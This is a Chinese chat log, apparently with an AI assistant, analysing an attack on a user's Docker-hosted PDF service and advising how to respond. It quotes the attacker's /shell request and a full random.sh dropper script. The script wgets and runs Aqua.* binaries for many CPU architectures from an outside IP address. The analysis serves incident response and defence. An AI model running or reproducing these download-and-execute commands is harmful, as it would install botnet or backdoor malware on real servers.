pdf服务打包docker部署上去了, 现在发现有人调用接口,内容如下
RequestURI: /shell?cd+/tmp;rm±rf+j;nohup+wget+http://194.37.81.64/random.sh;chmod+777+random.sh;./random.sh
random.sh的内容:
cd /tmp; wget http://194.37.81.64/Aqua.x86; curl -O http://194.37.81.64/Aqua.x86; chmod 777 *; ./Aqua.x86 jaws;
cd /tmp; wget http://194.37.81.64/Aqua.x86_64; curl -O http://194.37.81.64/Aqua.x86_64; chmod 777 *; ./Aqua.x86_64 jaws;
cd /tmp; wget http://194.37.81.64/Aqua.arm7; curl -O http://194.37.81.64/Aqua.arm7; chmod 777 *; ./Aqua.arm7 jaws;
cd /tmp; wget http://194.37.81.64/Aqua.arm6; curl -O http://194.37.81.64/Aqua.arm6; chmod 777 *; ./Aqua.arm6 jaws;
cd /tmp; wget http://194.37.81.64/Aqua.arm5; curl -O http://194.37.81.64/Aqua.arm5; chmod 777 *; ./Aqua.arm5 jaws;
cd /tmp; wget http://194.37.81.64/Aqua.arm4; curl -O http://194.37.81.64/Aqua.arm4; chmod 777 *; ./Aqua.arm4 jaws;
cd /tmp; wget http://194.37.81.64/Aqua.mips; curl -O http://194.37.81.64/Aqua.mips; chmod 777 *; ./Aqua.mips jaws;
cd /tmp; wget http://194.37.81.64/Aqua.mpsl; curl -O http://194.37.81.64/Aqua.mpsl; chmod 777 *; ./Aqua.mpsl jaws;
cd /tmp; wget http://194.37.81.64/Aqua.ppc; curl -O http://194.37.81.64/Aqua.ppc; chmod 777 *; ./Aqua.ppc jaws;
cd /tmp; wget http://194.37.81.64/Aqua.sh4; curl -O http://194.37.81.64/Aqua.sh4; chmod 777 *; ./Aqua.sh4 jaws;
cd /tmp; wget http://194.37.81.64/Aqua.i686; curl -O http://194.37.81.64/Aqua.i686; chmod 777 *; ./Aqua.i686 jaws;
cd /tmp; wget http://194.37.81.64/Aqua.m68k; curl -O http://194.37.81.64/Aqua.m68k; chmod 777 *; ./Aqua.m68k jaws;
cd /tmp; wget http://194.37.81.64/Aqua.mips; curl -O http://194.37.81.64/Aqua.mips; chmod 777 *; ./Aqua.mips jaws;
这个 random.sh 脚本的内容非常危险,它试图下载并运行多个针对不同 CPU 架构的恶意二进制文件。以下是逐行分析:
- 脚本的整体逻辑
脚本的核心逻辑是:
切换到 /tmp 目录。
使用 wget 或 curl 从远程服务器下载多个二进制文件。
赋予这些文件可执行权限(chmod 777 *)。
运行这些二进制文件(./Aqua. jaws)。
这些二进制文件(如 Aqua.x86、Aqua.arm7 等)是针对不同 CPU 架构编译的恶意程序,攻击者试图通过这些程序控制你的服务器。
-
逐行分析
以下是每一行代码的具体作用: -
cd /tmp
切换到 /tmp 目录。这是一个临时目录,通常用于存放临时文件。攻击者选择这里是因为它通常对所有用户可写。 -
wget http://194.37.81.64/Aqua.x86
使用 wget 从远程服务器下载一个名为 Aqua.x86 的二进制文件。这个文件是针对 x86 架构编译的恶意程序。 -
curl -O http://194.37.81.64/Aqua.x86
使用 curl 从远程服务器下载同一个文件 Aqua.x86。curl -O 会将文件保存到当前目录。 -
chmod 777 *
将 /tmp 目录下的所有文件(包括刚刚下载的 Aqua.x86)的权限设置为 777,即所有用户都可以读、写、执行这些文件。 -
./Aqua.x86 jaws
运行 Aqua.x86 这个二进制文件,并传递参数 jaws。这个参数可能是用来控制恶意程序的行为。 -
重复上述步骤
脚本重复上述步骤,下载并运行多个针对不同 CPU 架构的二进制文件,包括:
Aqua.x86_64(64 位 x86 架构)
Aqua.arm7(ARMv7 架构)
Aqua.arm6(ARMv6 架构)
Aqua.arm5(ARMv5 架构)
Aqua.arm4(ARMv4 架构)
Aqua.mips(MIPS 架构)
Aqua.mpsl(MIPS Little-Endian 架构)
Aqua.ppc(PowerPC 架构)
Aqua.sh4(SH-4 架构)
Aqua.i686(32 位 x86 架构)
Aqua.m68k(Motorola 68000 架构)
- 攻击者的意图
多架构兼容性:攻击者提供了针对多种 CPU 架构的二进制文件,确保无论你的服务器使用哪种架构,都能运行他们的恶意程序。
持久化控制:这些二进制文件可能是后门程序、挖矿程序(如门罗币挖矿)或其他恶意软件,攻击者试图通过这些程序长期控制你的服务器。
资源滥用:如果这些程序是挖矿程序,它们会占用服务器的 CPU 和内存资源,导致服务器性能下降。
横向移动:攻击者可能通过这些程序进一步入侵你的网络,攻击其他服务器或设备。
- 潜在危害
如果这些二进制文件成功下载并运行,可能会导致以下后果:
服务器被完全控制:攻击者可以通过这些程序远程控制你的服务器。
数据泄露:攻击者可以窃取服务器上的敏感数据。
资源滥用:如果这些程序是挖矿程序,它们会占用大量 CPU 和内存资源,导致服务器性能下降。
网络攻击:攻击者可能利用你的服务器作为跳板,攻击其他服务器或设备。
持久化后门:这些程序可能会在服务器上安装后门,即使你删除了它们,攻击者仍然可以重新入侵。
-
应对措施
如果你发现这个脚本已经运行,或者怀疑服务器已经被入侵,请立即采取以下措施: -
隔离服务器
将受感染的服务器从网络中隔离,防止攻击者进一步扩散。 -
检查并删除恶意文件
检查 /tmp 目录下是否有 Aqua.* 文件,并立即删除它们。
bash
复制
rm -rf /tmp/Aqua.*
检查是否有其他可疑文件或目录。
- 检查运行中的进程
使用 ps aux 或 top 命令检查是否有可疑进程在运行。
如果发现可疑进程,立即终止它们:
bash
复制
kill -9
4. 检查网络连接
使用 netstat 或 ss 命令检查是否有异常的网络连接。
bash
复制
netstat -anp | grep ESTABLISHED
5. 更新和加固服务器
更新服务器上的所有软件包,确保没有已知漏洞。
使用防火墙限制访问,只允许可信的 IP 地址访问服务器。
定期检查服务器日志,监控异常活动。
-
恢复备份
如果服务器已经被严重入侵,建议从干净的备份中恢复系统。 -
加强安全措施
避免使用弱密码。
启用双因素认证(2FA)。
定期进行安全审计。
- 总结
这个 random.sh 脚本是一个典型的恶意脚本,旨在下载并运行针对多种 CPU 架构的恶意程序。攻击者试图通过这些程序控制你的服务器,窃取数据或滥用资源。如果你发现这个脚本已经运行,请立即采取上述措施,确保服务器的安全。如果你需要进一步的帮助,请随时告诉我!
Aqua这个文件一般的作用是什么, 帮我分析下
Aqua 这个文件名本身并没有特定的含义,它可能是攻击者随机命名的。然而,根据常见的攻击模式和这类脚本的行为,Aqua 文件很可能是一个 恶意二进制文件,其作用可能是以下几种之一:
- 加密货币挖矿程序(Cryptojacking)
目的:攻击者利用你的服务器资源(CPU、内存等)来挖取加密货币(如门罗币、比特币等)。
行为:
占用大量 CPU 和内存资源,导致服务器性能下降。
通常会在后台静默运行,避免被管理员发现。
可能会通过矿池将挖矿收益发送到攻击者的钱包地址。
检测方法:
使用 top 或 htop 查看 CPU 使用率,如果某个进程长期占用大量 CPU,可能是挖矿程序。
使用 netstat 或 ss 检查是否有连接到矿池的异常网络连接。
- 后门程序(Backdoor)
目的:攻击者通过后门程序远程控制你的服务器。
行为:
监听某个端口,等待攻击者的指令。
允许攻击者执行任意命令,上传/下载文件,甚至完全控制服务器。
可能会尝试隐藏自身,避免被管理员发现。
检测方法:
使用 netstat 或 ss 检查是否有异常的网络连接。
使用 ps aux 检查是否有可疑的进程在运行。
检查 /etc/crontab 或用户 crontab 中是否有可疑的定时任务。
- 僵尸网络客户端(Botnet Client)
目的:将你的服务器加入僵尸网络(Botnet),用于发起分布式拒绝服务攻击(DDoS)或其他恶意活动。
行为:
连接到僵尸网络的控制服务器,接收攻击指令。
可能会参与 DDoS 攻击、垃圾邮件发送或其他恶意活动。
通常会隐藏自身,避免被管理员发现。
检测方法:
使用 netstat 或 ss 检查是否有异常的网络连接。
检查服务器的流量是否异常增加。
- 信息窃取程序(Information Stealer)
目的:窃取服务器上的敏感信息,如数据库密码、SSH 密钥、配置文件等。
行为:
扫描服务器上的文件,寻找敏感信息。
将窃取的信息发送到攻击者的服务器。
检测方法:
检查服务器的日志文件,寻找异常的文件访问记录。
使用 tcpdump 或 Wireshark 检查是否有异常的数据包发送到外部服务器。
- 蠕虫或传播程序(Worm/Propagator)
目的:感染其他服务器或设备,扩大攻击范围。
行为:
扫描网络中的其他设备,寻找漏洞进行攻击。
尝试通过 SSH 爆破、漏洞利用等方式感染其他设备。
检测方法:
检查服务器的日志文件,寻找异常的 SSH 登录尝试或网络扫描活动。
使用 netstat 或 ss 检查是否有大量的出站连接。
- 勒索软件(Ransomware)
目的:加密服务器上的文件,要求支付赎金以解密。
行为:
加密服务器上的重要文件(如数据库、配置文件等)。
留下勒索信息,要求支付赎金(通常以加密货币形式)。
检测方法:
检查服务器上的文件是否被加密。
检查是否有勒索信息文件(如 README.txt 或 HOW_TO_DECRYPT.txt)。
- 其他可能性
Rootkit:隐藏自身和其他恶意程序,避免被管理员发现。
Proxy 服务器:将你的服务器用作代理,隐藏攻击者的真实 IP 地址。
恶意脚本执行器:下载并执行其他恶意脚本或程序。
如何分析 Aqua 文件的具体行为?
如果你已经获取了 Aqua 文件,可以通过以下方法进一步分析其行为:
- 文件类型分析
使用 file 命令查看文件类型:
bash
复制
file Aqua.x86
输出示例:
复制
Aqua.x86: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, stripped
2. 字符串分析
使用 strings 命令查看文件中的可打印字符串:
bash
复制
strings Aqua.x86
输出示例:
复制
/bin/sh
http://194.37.81.64/update
Miner started
Pool: stratum+tcp://xmr.pool.com:3333
3. 反汇编分析
使用 objdump 或 Ghidra 等工具对文件进行反汇编,分析其具体逻辑:
bash
复制
objdump -d Aqua.x86
4. 沙箱分析
将文件上传到在线沙箱(如 VirusTotal、Hybrid Analysis)进行自动化分析:
VirusTotal
Hybrid Analysis
- 动态分析
在隔离环境中运行文件,使用 strace 或 ltrace 监控其系统调用和库调用:
bash
复制
strace ./Aqua.x86
总结
Aqua 文件很可能是一个恶意二进制文件,其作用可能是挖矿、后门、僵尸网络客户端、信息窃取等。为了确保服务器的安全,建议你立即删除这些文件,并检查服务器是否已被入侵。